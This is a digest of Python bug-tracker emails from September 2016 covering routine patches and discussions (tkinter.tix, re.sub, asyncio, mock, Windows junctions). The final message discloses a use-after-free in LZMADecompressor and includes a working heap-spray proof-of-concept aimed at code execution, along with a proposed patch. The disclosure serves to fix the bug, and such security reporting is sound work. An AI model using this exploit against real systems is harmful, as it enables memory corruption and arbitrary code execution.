Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18170>
_______________________________________

From report at bugs.python.org  Sun Sep 25 09:54:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 25 Sep 2016 13:54:44 +0000
Subject: [issue27611] test_tix cannot import _default_root after test_idle
In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za>
Message-ID: <20160925135441.19872.65306.D305D046@psf.io>


Roundup Robot added the comment:

New changeset 94a26aa1b1e0 by Serhiy Storchaka in branch '2.7':
Issue #27611: Fixed support of default root window in the Tix module.
https://hg.python.org/cpython/rev/94a26aa1b1e0

New changeset 7b458bcdab75 by Serhiy Storchaka in branch '3.5':
Issue #27611: Fixed support of default root window in the tkinter.tix module.
https://hg.python.org/cpython/rev/7b458bcdab75

New changeset ec3f5d21bec0 by Serhiy Storchaka in branch '3.6':
Issue #27611: Fixed support of default root window in the tkinter.tix module.
https://hg.python.org/cpython/rev/ec3f5d21bec0

New changeset 1c5e0dbcb2a0 by Serhiy Storchaka in branch 'default':
Issue #27611: Fixed support of default root window in the tkinter.tix module.
https://hg.python.org/cpython/rev/1c5e0dbcb2a0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27611>
_______________________________________

From report at bugs.python.org  Sun Sep 25 10:18:54 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 25 Sep 2016 14:18:54 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1474813134.56.0.115599770798.issue27923@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Just what Ethan noted above, and the fact that Ethan should also list himself as a co-author now :)

That said, one major alternative it would be good to consider further between now and 3.7 is Serhiy's "seqtools" idea: https://mail.python.org/pipermail/python-ideas/2016-July/041083.html

Something that wrapped memoryview and allowed bytes-based iteration over any buffer exported would automatically cover bytes and bytearray as well, while also permitting "structure ignoring" iteration over the raw data contained in other types.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Sun Sep 25 10:34:11 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 14:34:11 +0000
Subject: [issue20947] -Wstrict-overflow findings
In-Reply-To: <1394991597.86.0.942219538296.issue20947@psf.upfronthosting.co.za>
Message-ID: <1474814051.5.0.410583049482.issue20947@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I can reproduce warnings in Modules/_posixsubprocess.c:

gcc -pthread -fPIC -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Wstrict-overflow -I./Include -I. -I/usr/include/i386-linux-gnu -I/usr/local/include -I/home/serhiy/py/cpython/Include -I/home/serhiy/py/cpython -c /home/serhiy/py/cpython/Modules/_posixsubprocess.c -o build/temp.linux-i686-3.7/home/serhiy/py/cpython/Modules/_posixsubprocess.o
/home/serhiy/py/cpython/Modules/_posixsubprocess.c: In function ?child_exec?:
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming pointer wraparound does not occur when comparing P +- C1 with P +- C2 [-Wstrict-overflow]
         while (saved_errno != 0 && cur > hex_errno) {
                                 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c: In function ?subprocess_fork_exec?:
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming pointer wraparound does not occur when comparing P +- C1 with P +- C2 [-Wstrict-overflow]
         while (saved_errno != 0 && cur > hex_errno) {
                                 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:544:1: warning: assuming pointer wraparound does not occur when comparing P +- C1 with P +- C2 [-Wstrict-overflow]
 subprocess_fork_exec(PyObject* self, PyObject *args)
 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:544:1: warning: assuming pointer wraparound does not occur when comparing P +- C1 with P +- C2 [-Wstrict-overflow]
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming pointer wraparound does not occur when comparing P +- C1 with P +- C2 [-Wstrict-overflow]
         while (saved_errno != 0 && cur > hex_errno) {
                                 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming pointer wraparound does not occur when comparing P +- C1 with P +- C2 [-Wstrict-overflow]

Proposed simple patch fixes this.

----------
assignee:  -> serhiy.storchaka
keywords: +patch
resolution: wont fix -> 
stage: resolved -> patch review
status: closed -> open
versions: +Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44820/issue20947.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20947>
_______________________________________

From report at bugs.python.org  Sun Sep 25 10:35:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 14:35:50 +0000
Subject: [issue20947] -Wstrict-overflow findings
In-Reply-To: <1394991597.86.0.942219538296.issue20947@psf.upfronthosting.co.za>
Message-ID: <1474814150.33.0.72441301831.issue20947@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Use following command for reproducing:

    make -s CFLAGS=-Wstrict-overflow

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20947>
_______________________________________

From report at bugs.python.org  Sun Sep 25 10:38:47 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 14:38:47 +0000
Subject: [issue19795] Formatting of True/False/None in docs
In-Reply-To: <1385457525.93.0.980812903017.issue19795@psf.upfronthosting.co.za>
Message-ID: <1474814327.07.0.587671476996.issue19795@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Only the first patch was committed. The patch for None is not reviewed yet.

Here is updated patch.

----------
resolution: fixed -> 
stage: resolved -> patch review
status: closed -> open
title: Formatting of True/False in docs -> Formatting of True/False/None in docs
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.3, Python 3.4
Added file: http://bugs.python.org/file44821/doc_none2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19795>
_______________________________________

From report at bugs.python.org  Sun Sep 25 10:45:24 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 14:45:24 +0000
Subject: [issue27611] test_tix cannot import _default_root after test_idle
In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za>
Message-ID: <1474814724.23.0.133951348255.issue27611@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27611>
_______________________________________

From report at bugs.python.org  Sun Sep 25 10:52:28 2016
From: report at bugs.python.org (Alexander Bayandin)
Date: Sun, 25 Sep 2016 14:52:28 +0000
Subject: [issue27665] Make create_server able to listen on several ports
In-Reply-To: <1470091847.64.0.679712938011.issue27665@psf.upfronthosting.co.za>
Message-ID: <1474815148.62.0.083597269988.issue27665@psf.upfronthosting.co.za>


Alexander Bayandin added the comment:

Yury, in 3.6 is added support for multiple hosts for create_server but not for multiple ports which I suggest to add.

----------
resolution: out of date -> 
status: closed -> open
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27665>
_______________________________________

From report at bugs.python.org  Sun Sep 25 11:52:53 2016
From: report at bugs.python.org (SilentGhost)
Date: Sun, 25 Sep 2016 15:52:53 +0000
Subject: [issue17206] Py_XDECREF() expands its argument multiple times
In-Reply-To: <1360858057.09.0.617835061471.issue17206@psf.upfronthosting.co.za>
Message-ID: <1474818773.34.0.490013128873.issue17206@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> fixed
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17206>
_______________________________________

From report at bugs.python.org  Sun Sep 25 12:06:40 2016
From: report at bugs.python.org (Roy Williams)
Date: Sun, 25 Sep 2016 16:06:40 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474802680.07.0.568148833291.issue28260@psf.upfronthosting.co.za>
Message-ID: <CAGYvt0mt2C7EhJVB1CHrcOCXf47UhuqPN0ueOo1OUpYNcP=1Bw@mail.gmail.com>


Roy Williams added the comment:

Hey Antti

My understanding is the version available on PyPi is now a strict backport
of what's in Python 3, so they suggested filling the bug in bugs.python.org
so it can be backported.

http://lists.idyll.org/pipermail/testing-in-python/2016-September/006864.html

Thanks,
Roy

On Sep 25, 2016 4:24 AM, "Antti Haapala" <report at bugs.python.org> wrote:

>
> Antti Haapala added the comment:
>
> So you mean that unittest.mock should explicitly set `__hash__ = None`;
> but this is already what the unittest.mock does, in Python 3; there is no
> need to set `__hash__ = None`; it is the backport that needs to do this in
> order to stay compatible. There is no mock.py in 2.7.
>
> ----------
> nosy: +ztane
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28260>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Sun Sep 25 12:46:15 2016
From: report at bugs.python.org (Marcos Dione)
Date: Sun, 25 Sep 2016 16:46:15 +0000
Subject: [issue28273] Make os.waitpid() option parameter optional.
Message-ID: <1474821975.19.0.432444074991.issue28273@psf.upfronthosting.co.za>


New submission from Marcos Dione:

According to the documentation, the second parameter for os.waitpid(), called options, must be most of the time 0. So why not make it the default value?

The attached patch implements the proposed change, which is API compatible with current usages of the function.

----------
files: os_waitpid-optional_options.diff
keywords: patch
messages: 277383
nosy: StyXman
priority: normal
severity: normal
status: open
title: Make os.waitpid() option parameter optional.
Added file: http://bugs.python.org/file44822/os_waitpid-optional_options.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28273>
_______________________________________

From report at bugs.python.org  Sun Sep 25 12:46:57 2016
From: report at bugs.python.org (Marcos Dione)
Date: Sun, 25 Sep 2016 16:46:57 +0000
Subject: [issue28273] Make os.waitpid() option parameter optional.
In-Reply-To: <1474821975.19.0.432444074991.issue28273@psf.upfronthosting.co.za>
Message-ID: <1474822017.97.0.540160711469.issue28273@psf.upfronthosting.co.za>


Changes by Marcos Dione <mdione at grulic.org.ar>:


----------
components: +Library (Lib)
type:  -> enhancement
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28273>
_______________________________________

From report at bugs.python.org  Sun Sep 25 12:48:22 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 25 Sep 2016 16:48:22 +0000
Subject: [issue27141] Fix collections.UserList shallow copy
In-Reply-To: <1464384542.41.0.303372176211.issue27141@psf.upfronthosting.co.za>
Message-ID: <1474822102.45.0.206160889115.issue27141@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Yes.  I will look at this shortly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27141>
_______________________________________

From report at bugs.python.org  Sun Sep 25 13:09:37 2016
From: report at bugs.python.org (Craig Holmquist)
Date: Sun, 25 Sep 2016 17:09:37 +0000
Subject: [issue23407] os.walk always follows Windows junctions
In-Reply-To: <1423342763.81.0.179122512075.issue23407@psf.upfronthosting.co.za>
Message-ID: <1474823377.34.0.0839045579867.issue23407@psf.upfronthosting.co.za>


Craig Holmquist added the comment:

The attached patch changes _Py_attribute_data_to_stat to set S_IFLNK for both symlinks and junctions, and changes win_readlink to return the target path for junctions (IO_REPARSE_TAG_MOUNT_POINT) as well as symlinks.

I'm not sure what to do as far as adding a test--either Python needs a way to create junctions or the test needs to rely on the ones Windows creates by default.

Incidentally, the existing win_readlink doesn't always work correctly with symbolic links, either (this is from 3.5.2):  

>>> import os
>>> os.readlink(r'C:\Users\All Users')
'\x00\x00f\x00\u0201\x00\x02\x00\x00\x00f\x00\x00\x00'

The problem is that PrintNameOffset is an offset in bytes, so it needs to be divided by sizeof(WCHAR) if you're going to add it to a WCHAR pointer (https://msdn.microsoft.com/en-us/library/windows/hardware/ff552012(v=vs.85).aspx).  Some links still seem to work correctly because PrintNameOffset is 0.  The attached patch fixes this problem also--I wasn't sure if I should open a separate issue for it.

----------
keywords: +patch
Added file: http://bugs.python.org/file44823/issue23407.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23407>
_______________________________________

From report at bugs.python.org  Sun Sep 25 13:39:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 25 Sep 2016 17:39:52 +0000
Subject: [issue11957] re.sub confusion between count and flags args
In-Reply-To: <1304101630.86.0.175815070517.issue11957@psf.upfronthosting.co.za>
Message-ID: <20160925173949.2641.70782.B29217D1@psf.io>


Roundup Robot added the comment:

New changeset 216e8b809e4e by Serhiy Storchaka in branch '3.5':
Issue #11957: Restored re tests for passing count and maxsplit as positional
https://hg.python.org/cpython/rev/216e8b809e4e

New changeset b39b09290718 by Serhiy Storchaka in branch '3.6':
Issue #11957: Restored re tests for passing count and maxsplit as positional
https://hg.python.org/cpython/rev/b39b09290718

New changeset da2c96cf2ce6 by Serhiy Storchaka in branch 'default':
Issue #11957: Restored re tests for passing count and maxsplit as positional
https://hg.python.org/cpython/rev/da2c96cf2ce6

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11957>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:01:30 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sun, 25 Sep 2016 18:01:30 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>
Message-ID: <1474826490.61.0.609501461144.issue28260@psf.upfronthosting.co.za>


Antti Haapala added the comment:

Well, as far as I understand, this is a bug in the backport only. The Python 2.6+ backport does not behave identically to Python 3 code in Python 2, unless `__hash__ = None` is added. unittest.mock in Python 3 is not affected in any way.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:16:35 2016
From: report at bugs.python.org (Ned Batchelder)
Date: Sun, 25 Sep 2016 18:16:35 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>
Message-ID: <1474827395.98.0.819245850923.issue28260@psf.upfronthosting.co.za>


Ned Batchelder added the comment:

Roy, the code on GitHub isn't a literal copy of the Python 3 code, since it uses six, "from __future__ import", conditional imports of builtins, and so on.

This can be fixed in GitHub.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:20:52 2016
From: report at bugs.python.org (Craig Holmquist)
Date: Sun, 25 Sep 2016 18:20:52 +0000
Subject: [issue23407] os.walk always follows Windows junctions
In-Reply-To: <1423342763.81.0.179122512075.issue23407@psf.upfronthosting.co.za>
Message-ID: <1474827652.9.0.556557874849.issue23407@psf.upfronthosting.co.za>


Craig Holmquist added the comment:

Actually, it looks like there is already a way to create junctions and a test for them in test_os.  However, it includes this line:

# Junctions are not recognized as links.        self.assertFalse(os.path.islink(self.junction))

That suggests the old behavior is intentional--does anyone know why?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23407>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:26:14 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sun, 25 Sep 2016 18:26:14 +0000
Subject: [issue28225] bz2 does not support pathlib
In-Reply-To: <1474443304.08.0.670640094883.issue28225@psf.upfronthosting.co.za>
Message-ID: <1474827974.19.0.668447532117.issue28225@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Docs might need updating, but otherwise LGTM.

----------
assignee:  -> ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28225>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:29:22 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sun, 25 Sep 2016 18:29:22 +0000
Subject: [issue28231] zipfile does not support pathlib
In-Reply-To: <1474445503.11.0.219964117103.issue28231@psf.upfronthosting.co.za>
Message-ID: <1474828162.55.0.201108062654.issue28231@psf.upfronthosting.co.za>


Brett Cannon added the comment:

the patch LGTM, but Serhiy has a point that maybe we should add tests for dealing with other paths such as those contained within the zipfile.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28231>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:33:21 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sun, 25 Sep 2016 18:33:21 +0000
Subject: [issue28226] compileall does not support pathlib
Message-ID: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>


New submission from Brett Cannon:

Is there a fix for compileall missing from the patch? All I see are a new test.

----------
assignee:  -> ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:33:37 2016
From: report at bugs.python.org (Craig Holmquist)
Date: Sun, 25 Sep 2016 18:33:37 +0000
Subject: [issue23407] os.walk always follows Windows junctions
In-Reply-To: <1423342763.81.0.179122512075.issue23407@psf.upfronthosting.co.za>
Message-ID: <1474828417.52.0.603069641218.issue23407@psf.upfronthosting.co.za>


Craig Holmquist added the comment:

Updated patch with changes to Win32JunctionTests.

----------
Added file: http://bugs.python.org/file44824/issue23407-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23407>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:37:27 2016
From: report at bugs.python.org (Billy Foster)
Date: Sun, 25 Sep 2016 18:37:27 +0000
Subject: [issue28274] asyncio does not call exception handler if task stored
Message-ID: <1474828647.42.0.633955971909.issue28274@psf.upfronthosting.co.za>


New submission from Billy Foster:

I found a very strange bug in asyncio where whether exception handlers are called depends on whether a task is stored.

To illustrate, the following code works as expected, printing out that it made it to the exception handler:

import asyncio
async def run():
    raise RuntimeError
def exception_handler(loop, context):
    print('Made it to exception handler.')
loop = asyncio.get_event_loop()
loop.set_exception_handler(exception_handler)
loop.create_task(run())
loop.run_forever()

However, if you take that exact same code but store the task that is returned from create_task, the exception handler will NOT be called:

import asyncio
async def run():
    raise RuntimeError
def exception_handler(loop, context):
    print('Made it to exception handler.')
loop = asyncio.get_event_loop()
loop.set_exception_handler(exception_handler)
task = loop.create_task(run())
loop.run_forever()

This is completely bizarre, and I have been unable to track down the reason.

----------
components: asyncio
messages: 277394
nosy: billyfoster, gvanrossum, yselivanov
priority: normal
severity: normal
status: open
title: asyncio does not call exception handler if task stored
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28274>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:41:14 2016
From: report at bugs.python.org (Roy Williams)
Date: Sun, 25 Sep 2016 18:41:14 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474827395.98.0.819245850923.issue28260@psf.upfronthosting.co.za>
Message-ID: <CAGYvt0=k-74t=F7rzaW3S62kBcQmLFhzsAD4ZyfOFNtE4orz3A@mail.gmail.com>


Roy Williams added the comment:

OK, let's close this issue and I'll ping the TIP thread/this issue again.

On Sun, Sep 25, 2016, 11:16 AM Ned Batchelder <report at bugs.python.org>
wrote:

>
> Ned Batchelder added the comment:
>
> Roy, the code on GitHub isn't a literal copy of the Python 3 code, since
> it uses six, "from __future__ import", conditional imports of builtins, and
> so on.
>
> This can be fixed in GitHub.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28260>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Sun Sep 25 15:21:46 2016
From: report at bugs.python.org (R. David Murray)
Date: Sun, 25 Sep 2016 19:21:46 +0000
Subject: [issue28274] asyncio does not call exception handler if task stored
In-Reply-To: <1474828647.42.0.633955971909.issue28274@psf.upfronthosting.co.za>
Message-ID: <1474831306.77.0.95452237023.issue28274@psf.upfronthosting.co.za>


R. David Murray added the comment:

In the first case, once the loop has run the task it no longer has a reference to it, and it gets GCed.  The __del__ method of the task calls your exception handler.  In the second case, you have a reference to it, so __del__ does not get called.

If you want the exception to be realized in the second case, you have to yield from it somewhere in your program.

----------
nosy: +r.david.murray
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28274>
_______________________________________

From report at bugs.python.org  Sun Sep 25 16:41:36 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 25 Sep 2016 20:41:36 +0000
Subject: [issue27998] Remove support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1474836096.2.0.140158132153.issue27998@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Nice!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Sun Sep 25 17:14:29 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 21:14:29 +0000
Subject: [issue11957] re.sub confusion between count and flags args
In-Reply-To: <1304101630.86.0.175815070517.issue11957@psf.upfronthosting.co.za>
Message-ID: <1474838069.78.0.79134167582.issue11957@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here are two alternative patches. The first patch checks if count or maxsplit arguments are re.RegexFlag and raise TypeError if it is true. This makes misusing flags fail fast. The second patch deprecates passing count and maxsplit arguments as positional arguments. This imposes your to change your code (even if it is valid now) and makes hard misusing flags.

Unfortunately both ways slow down calling functions.

$ ./python -m perf timeit -s "import re" -- 're.split(":", ":a:b::c", 2)'

unpatched:                   Median +- std dev: 2.73 us +- 0.09 us
check_flags_type:            Median +- std dev: 3.74 us +- 0.09 us
deprecate_positional_count:  Median +- std dev: 10.6 us +- 0.2 us

$ ./python -m perf timeit -s "import re" -- 're.split(":", ":a:b::c", maxsplit=2)'

unpatched:                   Median +- std dev: 2.78 us +- 0.07 us
check_flags_type:            Median +- std dev: 3.75 us +- 0.10 us
deprecate_positional_count:  Median +- std dev: 2.86 us +- 0.08 us

----------
stage:  -> patch review
versions: +Python 3.6, Python 3.7 -Python 3.5
Added file: http://bugs.python.org/file44825/re_check_flags_type.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11957>
_______________________________________

From report at bugs.python.org  Sun Sep 25 17:14:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 21:14:44 +0000
Subject: [issue11957] re.sub confusion between count and flags args
In-Reply-To: <1304101630.86.0.175815070517.issue11957@psf.upfronthosting.co.za>
Message-ID: <1474838084.69.0.234951199626.issue11957@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44826/re_deprecate_positional_count.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11957>
_______________________________________

From report at bugs.python.org  Sun Sep 25 17:44:51 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 Sep 2016 21:44:51 +0000
Subject: [issue27141] Fix collections.UserList shallow copy
In-Reply-To: <1464384542.41.0.303372176211.issue27141@psf.upfronthosting.co.za>
Message-ID: <1474839891.46.0.829393282711.issue27141@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

UserList.copy() doesn't copy instance attributes, but copy.copy() should copy them.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27141>
_______________________________________

From report at bugs.python.org  Sun Sep 25 19:04:28 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 25 Sep 2016 23:04:28 +0000
Subject: [issue28260] mock._Any and mock._Call implement __eq__ but not
 __hash__
In-Reply-To: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>
Message-ID: <1474844668.32.0.965397895822.issue28260@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Sun Sep 25 19:43:53 2016
From: report at bugs.python.org (Santiago Castro)
Date: Sun, 25 Sep 2016 23:43:53 +0000
Subject: [issue28207] SQLite headers are not searched in custom locations
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474847033.15.0.391741696793.issue28207@psf.upfronthosting.co.za>


Santiago Castro added the comment:

Okay, I checked out again and bz2 and openssl were in standard paths in fact, my bad. But I think python should also take into account pkg-config. I left a Dockerfile with how I think it should work with pyenv and Linuxbrew: https://github.com/bryant1410/docker-pyenv-linuxbrew

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 26 00:18:48 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 26 Sep 2016 04:18:48 +0000
Subject: [issue24201] _winreg PyHKEY Type Confusion
In-Reply-To: <1431679011.32.0.0649667606823.issue24201@psf.upfronthosting.co.za>
Message-ID: <1474863528.57.0.837422584921.issue24201@psf.upfronthosting.co.za>


Zachary Ware added the comment:

I agree with Eryk that this is not a winreg bug.  If I'm understanding this correctly, you would need to pass unsanitized remote input into a function that's going to affect your registry.  That strikes me as an incredibly ridiculous thing to do; anyone doing so is begging to be exploited regardless of this issue.

I'd vote to close as 'wont fix', but will defer to Steve.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24201>
_______________________________________

From report at bugs.python.org  Mon Sep 26 00:33:37 2016
From: report at bugs.python.org (John Leitch)
Date: Mon, 26 Sep 2016 04:33:37 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
Message-ID: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>


New submission from John Leitch:

Python 3.5.2 suffers from a use after free vulnerability caused by the behavior of the LZMADecompressor.decompress method. The problem exists due to a dangling pointer created by an incomplete error path in the _lzma!decompress function.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
    char input_buffer_in_use;
    PyObject *result;
    lzma_stream *lzs = &d->lzs;

    /* Prepend unconsumed input if necessary */
    if (lzs->next_in != NULL) {
        [...]
    }
    else {
        lzs->next_in = data;
        lzs->avail_in = len;
        input_buffer_in_use = 0;
    }

    result = decompress_buf(d, max_length);
    if(result == NULL)
        return NULL;
    [...]
}

When the function is first called, lzs->next_in is NULL, so it is set using the data argument. If the subsequent call to decompress_buf fails because the stream is malformed, the function returns while maintaining the current value for lzs->next_in.

A couple returns later, the allocation pointed to by lzs->next_in (data) is freed:

static PyObject *
_lzma_LZMADecompressor_decompress(Decompressor *self, PyObject *args, PyObject *kwargs)
{
    PyObject *return_value = NULL;
    static char *_keywords[] = {"data", "max_length", NULL};
    Py_buffer data = {NULL, NULL};
    Py_ssize_t max_length = -1;

    if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*|n:decompress", _keywords,
        &data, &max_length))
        goto exit;
    return_value = _lzma_LZMADecompressor_decompress_impl(self, &data, max_length);

exit:
    /* Cleanup for data */
    if (data.obj)
       PyBuffer_Release(&data);

    return return_value;
}


At this point, any calls to decompress made to the same Decompressor instance (a typical use case--multiple calls may be necessary to decompress a single stream) will result in a memcpy to the dangling lzs->next_in pointer, and thus memory corruption.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
    char input_buffer_in_use;
    PyObject *result;
    lzma_stream *lzs = &d->lzs;

    /* Prepend unconsumed input if necessary */
    if (lzs->next_in != NULL) {
        size_t avail_now, avail_total;
        [...]
        memcpy((void*)(lzs->next_in + lzs->avail_in), data, len);
        lzs->avail_in += len;
        input_buffer_in_use = 1;
    }
    else {
        [...]
    }
}

This vulnerability can be exploited to achieve arbitrary code execution. In applications where untrusted LZMA streams are received over a network, it might be possible to exploit this vulnerability remotely. A simple proof of concept that demonstrates a return-to-libc attack is attached.

import _lzma
from array import *

# System address when tested: 76064070
d = _lzma.LZMADecompressor()
spray = [];
for x in range(0, 0x700):
    meg = bytearray(b'\x76\x70\x40\x06' * int(0x100000 / 4));        
    spray.append(meg)

def foo():    
    for x in range(0, 2):
        try:
            d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41" * int(0x100 / (4*4)))
        except:
            pass
foo()
print(len(spray[0]))
print(len(spray))


To fix the issue, it is recommended that lzs->next_in be zeroed in the event the call to decompress_buf fails. A proposed patch is attached.

    result = decompress_buf(d, max_length);
    if(result == NULL) {
        lzs->next_in = 0;
        return NULL;
    }


A repro file is attached as well.

Exception details:

0:000> r
eax=0000000a ebx=009ef540 ecx=00000002 edx=41414141 esi=08b44970 edi=09275fe8
eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
VCRUNTIME140D!TrailingDownVec+0x1f9:
6bf55149 8917            mov     dword ptr [edi],edx  ds:002b:09275fe8=????????
0:000> k
ChildEBP RetAddr  
